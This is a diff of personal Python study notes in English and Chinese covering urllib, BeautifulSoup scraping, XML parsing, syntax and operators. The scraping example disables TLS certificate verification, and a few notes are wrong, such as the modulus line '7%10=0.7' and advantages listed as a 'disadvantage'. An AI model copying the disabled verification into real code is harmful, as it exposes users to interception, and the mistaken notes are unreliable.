yonder window breaks +It is the east and Juliet is the sun +Arise fair sun and kill the envious moon +Who is already s +ick and pale with grief +``` + +3. use urllib + +```py +import urllib.request, urllib.parse, urllib.error +# open the file +fhand = urllib.request.urlopen('https://data.pr4e.org/romeo.txt') + +for line in fhand: + print(line.decode().strip()) # string + +# result +But soft what light through yonder window breaks +It is the east and Juliet is the sun +Arise fair sun and kill the envious moon +Who is already sick and pale with grief +``` + + +--- + +## Unicode Characters and Strings + +![Screen Shot 2020-05-14 at 21.36.13](https://i.imgur.com/FoPFM3q.png) + +- each character is represented by a number between 0 and 256 stored in 8 bits of memory. +- ACSII: American Standard Code +- unicode: universal code + - UTF-16 + - UTF-32: 4 byte + - UTF-8: 1-4 byte + + +```py +# the numeric value of the ASCII character +print(ord('h')) +104 +``` + +--- + +## network scrape + +beautifulsoup webcrawler +1. run it install in python: `pip install beautifulsoup4` +2. download and unzip it in the same file with py file. + +```py + +import urllib.request, urllib.parse, urllib.error +import ssl +from bs4 import BeautifulSoup + +ctx = ssl.create_default_context() # for https +ctx.check_hostname = False +ctx.verify_mode = ssl.CERT_NONE + +url = input('Enter - ') #https://www.dr-chuck.com/ +html = urllib.request.urlopen(url, context=ctx).read() # return entire website in a single string +soup = BeautifulSoup(html, 'html.parser') + +# retrieve all of the anchor tags +tags = soup('a') +for tag in tags: + print(tag.get('href', None)) + +# result +Enter - https://www.dr-chuck.com/ +https://www.dr-chuck.com/csev-blog/ +https://www.si.umich.edu/ +https://www.ratemyprofessors.com/ShowRatings.jsp?tid=1159280 +https://www.dr-chuck.com/csev-blog/ +https://www.twitter.com/drchuck/ +https://www.dr-chuck.com/dr-chuck/resume/speaking.htm +https://www.slideshare.net/csev +/dr-chuck/resume/index.htm +https://amzn.to/1K5Q81K +``` + +--- + +## data on the web + +`python dictionary` ->serialize-> `XML` <-De-Serialize<- `JavaHashMap` + +`XML`: extensible markup language +- element / nodes: + - attribute node + - text area node +- XML as Path: + - /a/b X + - /a/c Y + +XML Validation +- XML documnet +- XML schema contract + +XML file: + +```xml + // complex element + // complex element + Chuch // simple element + 1122 + + + beh + 3344 + + + + +``` + +XML schema contract: +```xml + + + + + + +``` + +use python + +```py +import xml.etree.ElementTree as ET + +data = ''' + + Chusck + 1122 + + + + + 1 + hhed + + + 2 + rree + + + +''' + +# make the tree +tree = ET.fromstring(data) +print('Name:', tree.find('name').text) # .text item under the name +print('Attr:', tree.find('email').get('hide')) # Yes + +lst=tree.findall('users/user') # result is a list +print(lst) +print('User account:', len(lst)) +for item in lst: + print('Name:', item.find('name').text) + +# result +# [, ] +# User account: 2 +# Name: hhed +# Name: rree +``` diff --git a/_posts/00CodeNote/language/Python/course/Python11-Basic-byUMich/0.0.md b/_posts/00CodeNote/language/Python/course/Python11-Basic-byUMich/0.0.md new file mode 100644 index 00000000000..27d5d506265 --- /dev/null +++ b/_posts/00CodeNote/language/Python/course/Python11-Basic-byUMich/0.0.md @@ -0,0 +1,380 @@ + +[toc] + +# 脚本第一行 + +`#!/usr/bin/python` +写死了 python 路径。 + +`#!/usr/bin/env python` +会去环境设置寻找 python 目录,可以增强代码的可移植性, + +# The Style Guide + +When someone wants to make a change to the Python language, they write a `Python Enhancement Proposal (PEP)`. +- One of the oldest PEPs is `PEP 8`, which instructs Python programmers on how to style their code. +- Python programmers will almost always encourage you to write code that’s easier to read. + +Indentation +PEP 8 recommends that you use four spaces per indentation level. Using four spaces improves readability while leaving room for multiple levels of indentation on each line. + +Line Length +Many Python programmers recommend that each line should be less than 80 characters. + +Blank Lines +To group parts of your program visually, use blank lines. + + + + + + +# Python 基础语法 + +## 交互式编程 +* 交互式编程不需要创建脚本文件,是通过 Python 解释器的交互模式进来编写代码。 +* linux上你只需要在命令行中输入 Python 命令即可启动交互式编程,提示窗口如下: + +``` +$ python +Python 2.7.6 (default, Sep 9 2014, 15:04:36) +[GCC 4.2.1 Compatible Apple LLVM 6.0 (clang-600.0.39)] on darwin +Type "help", "copyright", "credits" or "license" for more information. +>>> +``` + +``` +>>> print ("Hello, Python!") +Hello, Python! +``` + +## 脚本式编程 +* 通过脚本参数调用解释器开始执行脚本,直到脚本执行完毕。当脚本执行完成后,解释器不再有效。 +* 让我们写一个简单的 Python 脚本程序。以 .py 为扩展名。 + +```py +#将以下的源代码拷贝至 test.py 文件中。 +print ("Hello, Python!") + +#假设你已经设置了 Python 解释器 PATH 变量。使用以下命令运行程序: +$ python test.py + +#结果 +Hello, Python! +``` + +```c +//修改 test.py 文件,如下所示: +#!/usr/bin/python +print ("Hello, Python!") + +//假定您的Python解释器在/usr/bin目录中 +//使用以下命令执行脚本: +$ chmod +x test.py # 脚本文件添加可执行权限 +$ ./test.py + +//输出结果: +Hello, Python! +``` + +## Python 标识符 +* 在 Python 里,标识符由字母、数字、下划线组成。 +* 在 Python 中,所有标识符可以包括英文、数字以及下划线( _ ),但不能以数字开头。 +* Python 中的标识符是区分大小写的。 + +* 以下划线开头的标识符是有特殊意义的。 + * 以单下划线开头 `_foo` 的代表不能直接访问的类属性 + * 需通过类提供的接口进行访问,不能用 `from xxx import *` 而导入。 + * 以双下划线开头的 `__foo` 代表类的私有成员 + * 以双下划线开头和结尾的 `__foo__` 代表 Python 里特殊方法专用的标识,如 `__init__()` 代表类的构造函数。 + +* Python 可以同一行显示多条语句,方法是用分号 `;` 分开 + +``` +>>> print ('hello');print ('runoob'); + +hello +runoob +``` + +## Python 保留字符 +* Python中的保留字。 +* 这些保留字不能用作常数或变数,或任何其他标识符名称。 +* 所有 Python 的关键字只包含小写字母。 + +and exec not +assert finally or +break for pass +class from print +continue global raise +def if return +del import try +elif in while +else is with +except lambda yield + + +## 行和缩进 +* Python 的代码块不使用大括号 {} 来控制类,函数以及其他逻辑判断。 +* python 最具特色的就是用缩进来写模块。 +* 缩进的空白数量是可变的,但是所有代码块语句必须包含相同的缩进空白数量,这个必须严格执行。 + +```c +//实例:缩进为四个空格: +if True: + print ("True") +else: + print ("False") +``` + + +```c +//实例 + +#!/usr/bin/python +# -*- coding: UTF-8 -*- +# 文件名:test.py + +if True: + print ("Answer") + print ("True") +else: + print ("Answer") + # 没有严格缩进,在执行时会报错 + print ("False") + +//执行以上代码,会出现如下错误提醒: + File "test.py", line 11 + print ("False") + ^ +IndentationError: unindent does not match any outer indentation level + + +# IndentationError: unindent does not match any outer indentation level, 使用的缩进方式不一致, tab, 空格缩进,改为一致即可。 +# IndentationError: unexpected indent, 文件格式不对,可能是tab和空格没对齐的问题 +# 所有 python 对格式要求非常严格。 + +# 代码块中必须使用相同数目的行首缩进空格数。单个制表符 或 两个空格 或 四个空格, 不能混用 +``` + +## 多行语句 +* Python语句中一般以新行作为语句的结束符。 +* 但是我们可以使用斜杠 `\` 将一行的语句分为多行显示 + +```py +total = item_one + \ + item_two + \ + item_three +``` + +* 语句中包含 [], {} 或 () 括号就不需要使用多行连接符。如下实例: + +```py +days = ['Monday', 'Tuesday', 'Wednesday', + 'Thursday', 'Friday'] +``` + + +## Python 引号 +* Python 可以使用引号( ' )、双引号( " )、三引号( ''' 或 """ ) 来表示字符串 +* 引号的开始与结束必须的相同类型的。 +* 三引号可以由多行组成,编写多行文本的快捷语法,常用于文档字符串,在文件的特定地点,被当做注释。 + +```py +word = 'word' +sentence = "这是一个句子。" +paragraph = """这是一个段落。包含了多个语句""" +``` + + +## Python注释 +* 单行注释采用 # 开头。 + +```c +//实例 +#!/usr/bin/python +# -*- coding: UTF-8 -*- +# 文件名:test.py + +# 第一个注释 +print ("Hello, Python!") # 第二个注释 + +//结果: +Hello, Python! +``` + +* 注释可以在语句或表达式行末: + +``` +name = "Madisetti" # 这是一个注释 +``` +* python 中多行注释使用三个单引号(''')或三个双引号(""")。 + +``` +实例 +#!/usr/bin/python +# -*- coding: UTF-8 -*- +# 文件名:test.py + + +''' +这是多行注释,使用单引号。 +这是多行注释,使用单引号。 +这是多行注释,使用单引号。 +''' + +""" +这是多行注释,使用双引号。 +这是多行注释,使用双引号。 +这是多行注释,使用双引号。 +""" +``` + + +## Python空行 +* 函数之间或类的方法之间用空行分隔,表示一段新的代码的开始。 +* 类和函数入口之间也用一行空行分隔,以突出函数入口的开始。 +* 空行与代码缩进不同,空行并不是Python语法的一部分。 + * 书写时不插入空行,Python解释器运行也不会出错。 + * 但是空行的作用在于 *分隔* 两段不同功能或含义的代码,便于 *日后代码的维护或重构* 。 + * 记住:空行也是程序代码的一部分。 + +### 等待用户输入 + +```c +//等待用户输入,按回车键后就会退出: + +#!/usr/bin/python +# -*- coding: UTF-8 -*- + +raw_input("按下 enter 键退出,其他任意键显示...\n") +// \n 实现换行。一旦用户按下 enter(回车) 键退出,其它键显示。 +``` + +## 同一行显示多条语句 +* 同一行中使用多条语句,语句之间使用分号(;)分割 + +```c +#!/usr/bin/python + +import sys; x = 'runoob'; sys.stdout.write(x + '\n') + +//执行以上代码,输入结果为: +$ python test.py +runoob +``` + +## print 输出 +* print 默认输出是换行的,如果要实现不换行需要在变量末尾加上逗号 ,。 + +```c +实例 +#!/usr/bin/python +# -*- coding: UTF-8 -*- + +x="a" +y="b" + +# 换行输出 +print x +print y + +print '---------' + +# 不换行输出 +print x, +print y, + +# 不换行输出 +print x,y + + +//以上实例执行结果为: +a +b +--------- +a b a b +``` + + +## 多个语句构成代码组 +* 缩进相同的一组语句构成一个代码块,我们称之代码组。 +* 像if、while、def和class这样的复合语句 + * 首行以关键字开始,以冒号( : )结束,该行之后的一行或多行代码构成代码组。 +* 将首行及后面的代码组称为一个子句(clause)。 + + +if expression : + suite +elif expression : + suite +else : + suite + +## 命令行参数 +* 很多程序可以执行一些操作来查看一些基本信息 +* Python 可以使用 -h 参数查看各参数帮助信息: + +``` +$ python -h +usage: python [option] ... [-c cmd | -m mod | file | -] [arg] ... +Options and arguments (and corresponding environment variables): +-c cmd : program passed in as string (terminates option list) +-d : debug output from parser (also PYTHONDEBUG=x) +-E : ignore environment variables (such as PYTHONPATH) +-h : print this help message and exit + +[ etc. ] +``` + + + + + + + + + + + + + +import turtle +import random + +wn=turtle.screensize(800, 600, "green") +at=turtle.Turtle() +bt=turtle.Turtle() +screensize=turtle.screensize() +print(screensize) + +#at.setpos(random.randrange(0,wn.window_width),random.randrange(0,wn.window_height)) + +at.speed(0) +at.shape('turtle') +at.color('red') +bt=turtle.Turtle() + +bt.speed(0) +bt.shape('turtle') +bt.color('blue') + + +at.left(590) +bt.left(30) + + + + + + + + + + + + + + + +. diff --git a/_posts/00CodeNote/language/Python/course/Python11-Basic-byUMich/0.01.PyBasics.md b/_posts/00CodeNote/language/Python/course/Python11-Basic-byUMich/0.01.PyBasics.md new file mode 100644 index 00000000000..0ab95db1176 --- /dev/null +++ b/_posts/00CodeNote/language/Python/course/Python11-Basic-byUMich/0.01.PyBasics.md @@ -0,0 +1,119 @@ +# Coursera Python Basics + +[toc] + +## 1.2. Algorithms +An algorithm is a step by step list of instructions that if followed exactly will solve the problem under consideration. + +Our goal in programming is to take a problem and develop an algorithm that can serve as a general `solution`. + +Once we have such a solution, we can `express it as a program` and use our computer to `automate the execution`. These programs are written in programming languages. + +- high-level language: Py, C++, PHP, and java. +- low-level languages, sometimes referred to as machine languages or assembly languages. + +small disadvantage of high-level languages: ograms written in a high-level language have to be processed before they can run, as computers can only execute programs written in low-level languages. + +big disadvantage: +- less time to write. +- `portable`: they can run on different kinds of computers with few or no modifications. Low-level programs can run on only one kind of computer and have to be rewritten to run on another. + + +Two kinds of programs process high-level languages into low-level languages: `interpreters` and `compilers`. + + +a compiler is like translating an entire book +an interpreter is like translating a line at a time + + +. + + - `interpreter`: reads a high-level program and executes it, it does what the program says. It processes the program a little at a time, alternately reading lines and performing computations. + +![interpret](https://i.imgur.com/LdHxnK0.png) + + - `compiler`: reads the program and translates it completely before the program starts running. + - In this case, the high-level program is called the source code, and the translated program is called the object code or the executable. + - Once a program is compiled, you can execute it repeatedly without further translation. + +![compile](https://i.imgur.com/tPi5EhN.png) + +Many modern languages use both processes. They are first compiled into a lower level language, called `byte code`, and then interpreted by a program called a `virtual machine`. + +Python uses both processes, but because of the way programmers interact with it, it is usually considered an interpreted language. + +--- + +## 1.5. More About Programs +A `program`: a sequence of instructions that specifies how to perform a computation. + - The computation might be something as complex as rendering an html page in a web browser or encoding a video and streaming it across the network. + - It can also be a symbolic computation, such as searching for and replacing text in a document or (strangely enough) compiling a program. + +`input` +- Get data from the keyboard, a file, or some other device. + +`output` +- Display data on the screen or send data to a file or other device. + +`math and logic` +- Perform basic mathematical operations like addition and multiplication and logical operations like `and, or, and not`. + +`conditional execution` +- Check for certain conditions and execute the appropriate sequence of statements. + +`repetition` +- Perform some action repeatedly, usually with some variation. + + +## 1.6. Formal and Natural Languages +`Natural languages`: the languages that people speak, such as English, Spanish, Korean, and Mandarin Chinese. They were not designed by people (although people try to impose some order on them); they evolved naturally. + +`Formal languages`: the languages that are designed by people for specific applications. + - For example + - the notation 记号, 标记法 that mathematicians use is a formal language that is particularly good at denoting relationships among numbers and symbols. + - Chemists use a formal language to represent the chemical structure of molecules. And most importantly: + - Programming languages are formal languages that have been designed to express computations. + +`Syntax rules` come in two flavors, pertaining to `tokens` and `structure`. + + - `Tokens` are the basic elements of the language, such as words, numbers, and chemical elements. + - One of the problems with `3=+6$` is that `$` is not a legal token in mathematics. + - Similarly, `2Zz` is not legal because there is no element with the abbreviation Zz. + + - The second type of syntax rule pertains to the `structure` of a statement, the way the tokens are arranged. + - The statement `3=+6$` is structurally illegal because you can’t place a `plus sign` immediately after an `equal sign`. + - Similarly, `molecular formulas` have to have subscripts after the element name, not before. + +When read a sentence in English or a statement in a formal language, you have to figure out what the structure of the sentence is (although in a natural language you do this subconsciously). This process is called `parsing` 解析. figure out what it means, or the `semantics` of the sentence. Assuming that you know what a shoe is and what it means to fall, you will understand the general implication of this sentence. + +Although formal and natural languages have many features in common — `tokens, structure, syntax, and semantics` — there are many differences: + +`ambiguity 歧义` +- Natural languages are full of ambiguity. +- Formal languages are designed to be nearly or completely unambiguous, which means that any statement has exactly one meaning, regardless of context. + + +`redundancy` +- natural languages employ lots of redundancy. often verbose 冗长的. +- Formal languages are less redundant, more concise 简明的. + +`literalness` /'litərəlnis/ +- Formal languages mean exactly what they say. +- natural languages are full of idiom 成语 and metaphor 隐喻. + +### 1.11. Glossary + + + + + + + + + + + + + + +. diff --git a/_posts/00CodeNote/language/Python/course/Python11-Basic-byUMich/0.02.00.Variables-Statements-and-Expressions.md b/_posts/00CodeNote/language/Python/course/Python11-Basic-byUMich/0.02.00.Variables-Statements-and-Expressions.md new file mode 100644 index 00000000000..f0b4e8c0632 --- /dev/null +++ b/_posts/00CodeNote/language/Python/course/Python11-Basic-byUMich/0.02.00.Variables-Statements-and-Expressions.md @@ -0,0 +1,34 @@ + + +2. Variables, Statements, and Expressions +Variables, Statements, and Expressions + + + + + + +## online courses +2.1. Introduction +2.1.1. Learning Goals +2.1.2. Objectives +2.2. Values and Data Types +2.3. Operators and Operands +2.4. Function Calls +2.4.1. Function calls as part of complex expressions +2.4.2. Functions are objects; parentheses invoke functions +2.5. Data Types +2.6. Type conversion functions +2.7. Variables +2.8. Variable Names and Keywords +2.9. 👩‍💻 Choosing the Right Variable Name +2.10. Statements and Expressions +2.11. Order of Operations +2.12. Reassignment +2.12.1. Developing your mental model of How Python Evaluates +2.13. Updating Variables +2.14. 👩‍💻 Hard-Coding +2.15. Input +2.16. Glossary +2.17. Exercises +2.18. Chapter Assessment diff --git a/_posts/00CodeNote/language/Python/course/Python11-Basic-byUMich/0.02.01.Intro.md b/_posts/00CodeNote/language/Python/course/Python11-Basic-byUMich/0.02.01.Intro.md new file mode 100644 index 00000000000..128e44054b1 --- /dev/null +++ b/_posts/00CodeNote/language/Python/course/Python11-Basic-byUMich/0.02.01.Intro.md @@ -0,0 +1,17 @@ +# value + +# 2.2. Values and Data Types +- value is an `object`. +- everything in Python is an `Object`. + +- `object` is classified by `Class` or `Data Type` + - got answer by `type()` + + +- change TypeError + - int[] + - str[] + - float[] + +- use the print function to see a printed representation in the output window. + - The printed representation omits the quotation marks. diff --git a/_posts/00CodeNote/language/Python/course/Python11-Basic-byUMich/0.02.03.Operators-Operands.md b/_posts/00CodeNote/language/Python/course/Python11-Basic-byUMich/0.02.03.Operators-Operands.md new file mode 100644 index 00000000000..fd13cd45264 --- /dev/null +++ b/_posts/00CodeNote/language/Python/course/Python11-Basic-byUMich/0.02.03.Operators-Operands.md @@ -0,0 +1,217 @@ +# Python 运算符 + +`Operators` 操作员 are special tokens that represent computations like addition, multiplication and division. The values the operator works on are called `operands` 操作数;操作对象;运算对象. + + +* Python语言支持以下类型的运算符: + * 算术运算符 + * 比较(关系)运算符 + * 赋值运算符 + * 逻辑运算符 `Logical operators` + * 位运算符 + * 成员运算符 + * 身份运算符 + * 运算符优先级 + +--- + +## Precedence of Operators + +Level | Category | Operators +---|---|--- +7(high) | exponent | `**` +6 | multiplication | `*,/,//,%` +5 | addition | +,- +4 | relational | ==,!=,<=,>=,>,< +3 | logical | not +2 | logical | and +1(low) | logical | or + +--- + +## Python比较运算符 +* 比较运算符: 返回1表示真,返回0表示假。这分别与特殊的变量True和False等价。 + +运算符 | 描述 | 实例 +---|---|--- +`==`| 等于 是否相等 | (a == b) 返回 False。 +`!=`| 不等于 是否不相等 | (a != b) 返回 true. +`<>`| 不等于 是否不相等。python3已废弃。| (a <> b) 返回 true。这个运算符类似 != 。 +`>` | 大于 是否大于y | (a > b) 返回 False。 +`<` | 小于 是否小于y。 | (a < b) 返回 true。 +`>=`| 大于等于 是否大于等于y。 | (a >= b) 返回 False。 +`<=`| 小于等于 是否小于等于y。 | (a <= b) 返回 true。 + +--- + +## Python赋值运算符 + +The asterisk `*`: the token for multiplication, +doublr asterisk `**`: the token for exponentiation. + +--- + +the division operator `/` produces a floating point result (even if the result is an integer; `4/2 is 2.0`). + +The truncated 截短 division operator `//` +- ignores the remainder (`5//2 is 2`). +- `truncates` rather than `rounding` ( `9//5 value 1 rather 2`). +- also works on floating point numbers. It truncates to the nearest integer, but still produces a floating point result. Thus 7.0 // 3.0 is 2.0. + +```py +print(7.0 / 3.0) # 2.33333333333 +print(7/3) # 2.33333333333 +print(7//3) # 2 + +print(7.0 // 3.0) # 2.0 +print(7 // 3.0) # 2.0 +``` + +--- + +The `modulus/remainder/integer remainder operator`, a percent sign (`%`): works on integers (and integer expressions) and yields the remainder when the first operand is divided by the second. + +```py +print(7 // 3) # 2 This is the integer division operator +print(7 % 3) # 1 This is the remainder or modulus operator + +total_secs = 7684 +hours = total_secs // 3600 +secs_remain = total_secs % 3600 +``` + +- The modulus operator turns out to be surprisingly useful. + - For example, check whether one number is divisible by another + - if `x % y=0`, then x is divisible by y. +- extract the right-most digit or digits from a number. + - For example + - `x % 10` yields the right-most digit of x (in base 10). + - `x % 100` yields the last two digits. + +```py +>>> 7%10=0.7 +7 +>>> 73%10=7.3 +3 +>>> 734%10 +4 + + +>>> 15 % 12 +3 +>>> 12 % 15 +12 +>>> 6 % 6 +0 +>>> 0 % 7 +0 +``` + +运算符 | 描述 | 实例 +---|---|--- +`=` | 简单的赋值运算符 | c = a + b 将 a + b 的运算结果赋值为 c +`+=` | 加法赋值运算符 | c += a 等效于 c = c + a +`-=` | 减法赋值运算符 | c -= a 等效于 c = c - a +`*=` | 乘法赋值运算符 | c * = a 等效于 c = c * a +`/=` | 除法赋值运算符 | c /= a 等效于 c = c / a +`%=` | 取模赋值运算符 | c %= a 等效于 c = c % a +`**=` | 幂赋值运算符 | c ** = a 等效于 c = c ** a +`//=` | 取整除赋值运算符 | c //= a 等效于 c = c // a + +--- + +## Python位运算符 +* 按位运算符是把数字看作二进制来进行计算的。 + +```py +# a 为 60,b 为 13 +# 二进制格式如下: +a = 0011 1100 +b = 0000 1101 +----------------- + +a&b = 0000 1100 +a|b = 0011 1101 +a^b = 0011 0001 +~a = 1100 0011 +``` + +运算符 | 描述 +---|--- +`&` | 按位`与`运算符:两个相应位都为1,则为1,否则为0 +`|` | 按位`或`运算符:只要有一个为1时,结果位就为1。 +`^` | 按位`异或`运算符:当相异时,结果为1 +`~` | 按位`取反`运算符:对数据的每个二进制位取反,即把1变为0,把0变为1 。 +`<<` | `左移动`运算符:全部左移若干位,由 << 右边的数字指定了移动的位数,高位丢弃,低位补0。 +`>>` | `右移动`运算符:全部右移若干位,>> 右边的数字指定了移动的位数 + +```py +a = 60 # 60 = 0011 1100 +b = 13 # 13 = 0000 1101 +c = 0 + +c = a & b; # 12 = 0000 1100 +c = a | b; # 61 = 0011 1101 +c = a ^ b; # 49 = 0011 0001 +c = ~a; # -61= 1100 0011 +c = a << 2; # 240= 1111 0000 +c = a >> 2; # 15 = 0000 1111 +``` + +--- + +## Logical operators 逻辑运算符 + +运算符 | 表达式 | 描述 | x +---|---|---|--- +`and` | x and y | 布尔"与" | 如果 x 为 False, 返回 False,否则它返回 y 的计算值。 +`or` | x or y | 布尔"或" | 如果 x 是非 0,返回 x 的值,否则它返回 y 的计算值。true if either of the conditions is true +`not` | not x | 布尔"非" | 如果 x 为 True,返回 False 。如果 x 为 False,它返回 True。 + +-- + +## The `in` and `not in` operators + +The `in` operator tests if one string is a substring of another: +- Note that a string is a substring of itself, and the empty string is a substring of any other string. + +```py +print('' in 'a') # True +print('' in 'BigBlueberry') # True + +print('a' in 'a') # True +print('BigBlueberry' in 'BigBlueberry') # True +print("a" in "BigBlueberry") # True +print("a" in ["a", "b", "c", "d"]) # True +print(9 in [3, 2, 9, 10, 9.0]) # True +print("a" in ["BigBlueberry"]) # False +``` + +The `not in` operator returns the logical opposite result of `in`. + +```py +print('x' not in 'BigBlueberry') # True +``` + + + + + + + + + + + + + + + + + + + + + + +. diff --git a/_posts/00CodeNote/language/Python/course/Python11-Basic-byUMich/0.02.04.FunctionCalls.md b/_posts/00CodeNote/language/Python/course/Python11-Basic-byUMich/0.02.04.FunctionCalls.md new file mode 100644 index 00000000000..098a25082dd --- /dev/null +++ b/_posts/00CodeNote/language/Python/course/Python11-Basic-byUMich/0.02.04.FunctionCalls.md @@ -0,0 +1,59 @@ +# 2.4. Function Calls + +The Python interpreter can compute new values with function calls. +high school algebra: define a function `f` by specifying how it transforms an input into an output, `f(x) = 3x + 2`. Then, write `f(5)` and get the value 17. + +Python adopts a similar syntax for invoking functions. +If there is a named function `foo` that takes a single input, we can *invoke foo on the value 5* by writing `foo(5)`. + + +`Functions` are like factories that take in some material`(arguments 内容提要 or inputs)`, do some operation, and then send out the resulting object`(output or return value)`. + +pic + +> Note +Don’t confuse the “output value” of a function with the output window. The output of a function is a Python value and we can never really see the internal representation of a value. But we can draw pictures to help us imagine what values are, or we can print them to see an external representation in the output window. +To confuse things even more, print is actually a function. All functions produce output values. Only the print function causes things to appear in the output window. + +```py +- square takes a single input parameter, and returns that input multiplied by itself. +- sub takes two input parameters and returns the result of subtracting the second from the first. + +print(sub(square(3), square(1+1))) +5 + +always have to resolve the expression inside the innermost parentheses first, in order to determine what input to provide when calling the functions. +``` + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +. diff --git a/_posts/00CodeNote/language/Python/course/Python11-Basic-byUMich/0.02.05.DataType.md b/_posts/00CodeNote/language/Python/course/Python11-Basic-byUMich/0.02.05.DataType.md new file mode 100644 index 00000000000..0228c759798 --- /dev/null +++ b/_posts/00CodeNote/language/Python/course/Python11-Basic-byUMich/0.02.05.DataType.md @@ -0,0 +1,7 @@ + +# 2.5. Data Types + +not sure what class (data type) a value falls into, +- `type()` + +- `print()` print any number of values as long as separate by commas. values are separated by spaces. diff --git a/_posts/00CodeNote/language/Python/course/Python11-Basic-byUMich/0.02.05b.Number.md b/_posts/00CodeNote/language/Python/course/Python11-Basic-byUMich/0.02.05b.Number.md new file mode 100644 index 00000000000..54e99769fd3 --- /dev/null +++ b/_posts/00CodeNote/language/Python/course/Python11-Basic-byUMich/0.02.05b.Number.md @@ -0,0 +1,167 @@ + +[toc] + +# 数字 +* 数字数据类型用于存储数值。 +* 他们是不可改变的数据类型 + * 改变数字数据类型会分配一个新的对象。 + +```py +# 指定一个值时,Number对象就会被创建: +var1 = 1 +var2 = 10 + +# 使用del语句删除一些对象的引用。 +del var1[,var2[,var3[....,varN]]]] + +# 通过使用del语句删除单个或多个对象的引用。例如: +del var +del var_a, var_b +``` + +* Python支持四种不同的数字类型: + * int(有符号整型) + * long(长整型[也可以代表八进制和十六进制]) + * float(浮点型) + * complex(复数) + +一些数值类型的实例: + +int | long | float | complex +---|---|---|--- +10 | 51924361L | 0.0 | 3.14j +100 | -0x19323L | 15.20 | 45.j +-786 | 0122L | -21.9 | 9.322e-36j +080 | 0xDEFABCECBDAECBFBAEl | 32.3e+18 | .876j +-0490 | 535633629843L | -90. | -.6545+0J +-0x260 | -052318172735L | -32.54e100 | 3e+26J +0x69 | -4721885298529L | 70.2E-12 | 4.53e-7j + +* 长整型也可以使用小写 l,但是还是建议您使用大写 L,避免与数字 1 混淆。 +* Python使用 L 来显示长整型。 +* Python 还支持复数,复数由实数部分和虚数部分构成,可以用 a + bj,或者 complex(a,b) 表示, 复数的实部 a 和虚部 b 都是浮点型。 +* 注意:long 类型只存在于 Python2.X 版本中,在 2.2 以后的版本中,int 类型数据溢出后会自动转为long类型。在 Python3.X 版本中 long 类型被移除,使用 int 替代。 + +## 数字类型转换 +- `int(x)` 将x转换为一个整数。 +- `float(x)` 将x转换到一个浮点数。 +- `complex(x)` 将x转换到一个复数,实数部分为 x,虚数部分为 0。 +- `complex(x, y)` 将 x 和 y 转换到一个复数,实数部分为 x,虚数部分为 y。x 和 y 是数字表达式。 + +## Python算术运算符 + +运算符 | 描述 | 实例 +---|---|--- +`+` | 加 | a + b +`-` | 减 | a - b +`*` | 乘 | a * b +`/` | 除 | b / a +`%` | 取模 返回除法的余数 | b % a 输出结果 0 +`**` | 幂 返回x的y次幂 | a**b 10的20次方 +`//` | 取整除 返回商的整数部分(向下取整) | 9//2 = 4, -9//2=-5 + +```py +>>> 17 // 3 # 整数除法返回向下取整后的结果 +5 +>>> 17 % 3 # %操作符返回除法的余数 +2 + +# 整数除整数,只能得出整数。如果要得到小数部分,把其中一个数改成浮点数即可。 +>>> 1/2 +0 +>>> 1.0/2 +0.5 +>>> 1/float(2) +0.5 +``` + + +## 数学函数 +函数 | 返回值 +---|--- +abs(x) | 返回数字的绝对值 | 如abs(-10) 返回 10 +ceil(x) | 返回数字的上入整数 | 如math.ceil(4.1) 返回 5 +cmp(x, y) | 如果 x < y 返回 -1, 如果 x == y 返回 0, 如果 x > y 返回 1。 Python 3 已废弃,使用 (x>y)-(x>> x, y, z = 0, 0, 0 +``` + + + +## Constants +constant: variable whose value stays the same throughout the life of a program. +- Python doesn’t have built-in constant types +- **all capital variable**: should be treated as a constant and never be changed: + +`MAX_CONNECTIONS = 5000` + + + + + + + +. diff --git a/_posts/00CodeNote/language/Python/course/Python11-Basic-byUMich/0.02.06.Type-conversion-functions.md b/_posts/00CodeNote/language/Python/course/Python11-Basic-byUMich/0.02.06.Type-conversion-functions.md new file mode 100644 index 00000000000..ab74bfb102a --- /dev/null +++ b/_posts/00CodeNote/language/Python/course/Python11-Basic-byUMich/0.02.06.Type-conversion-functions.md @@ -0,0 +1,36 @@ + +# 2.6. Type conversion functions + +convert values from one type to another. + +The functions int, float and str will (attempt to) convert their arguments into types int, float and str respectively. We call these `type conversion functions`. + +* 对数据内置的类型进行转换,数据类型的转换,你只需要将数据类型作为函数名即可。 +* 执行数据类型之间的转换。这些函数返回一个新的对象,表示转换的值。 + +One common operation: +- concatenating several strings together, to include a numeric value as part of the final string. +- have to convert numbers to strings before concatenating them. + +pic + + +| 函数 | 描述 | +| --------------------- | --------------------------------------------------- | +| int(x [,base]) | 将x转换为一个`整数` | +| long(x [,base] ) | 将x转换为一个`长整数` | +| float(x) | 将x转换到一个`浮点数` | +| complex(real [,imag]) | 创建一个`复数` | +| str(x) | 将对象 x 转换为`字符串` | +| repr(x) | 将对象 x 转换为`表达式字符串` | +| eval(str) | 用来计算在字符串中的有效Python表达式,并返回一个对象 | +| tuple(s) | 将序列 s 转换为一个`元组` | +| list(s) | 将序列 s 转换为一个`列表` | +| set(s) | 转换为`可变集合` | +| dict(d) | 创建一个字典。d 必须是一个序列 (key,value)元组。 | +| frozenset(s) | 转换为`不可变集合` | +| chr(x) | 将一个整数转换为一个`字符` | +| unichr(x) | 将一个整数转换为`Unicode字符` | +| ord(x) | 将一个字符转换为它的`整数值` | +| hex(x) | 将一个整数转换为一个`十六进制字符串` | +| oct(x) | 将一个整数转换为一个`八进制字符串` | diff --git a/_posts/00CodeNote/language/Python/course/Python11-Basic-byUMich/0.02.07.Variables.md b/_posts/00CodeNote/language/Python/course/Python11-Basic-byUMich/0.02.07.Variables.md new file mode 100644 index 00000000000..12e6786390c --- /dev/null +++ b/_posts/00CodeNote/language/Python/course/Python11-Basic-byUMich/0.02.07.Variables.md @@ -0,0 +1,301 @@ + + +[toc] + +# 2.7. Variables + +`variables = object` # variables always at left + +- naming variables: +- start with *A-Za-z*, can include `_ underscore` + +If you give a variable an illegal name, you get a `syntax error`. +- have to begin with a letter or an underscore.: 1log +- no spaces: psi phi +- no `Pythons Reserved Keywords`: lambda, and, if, not, del, True... + + +```py + +1. overwrite +>>> frogs=1 +>>> frogs=2 +>>> frogs + +variable is variable. it will change. + +2. case matters +Bruce and bruce are different variables. + +3. resign Variables + +a = 5 +b = a +//step: +a = 5 +b = a +b = 5 + +4. update variables + +x = 6 +x = x + 1 +//step: +x = x + 1 +x = 6 + 1 +x = 7 +``` + +`Pythons Reserved Keywords` + +and | as | assert | break | class | continue | def | del | elif | else | except | exec | finally | for | from | global | if | import | in | is | 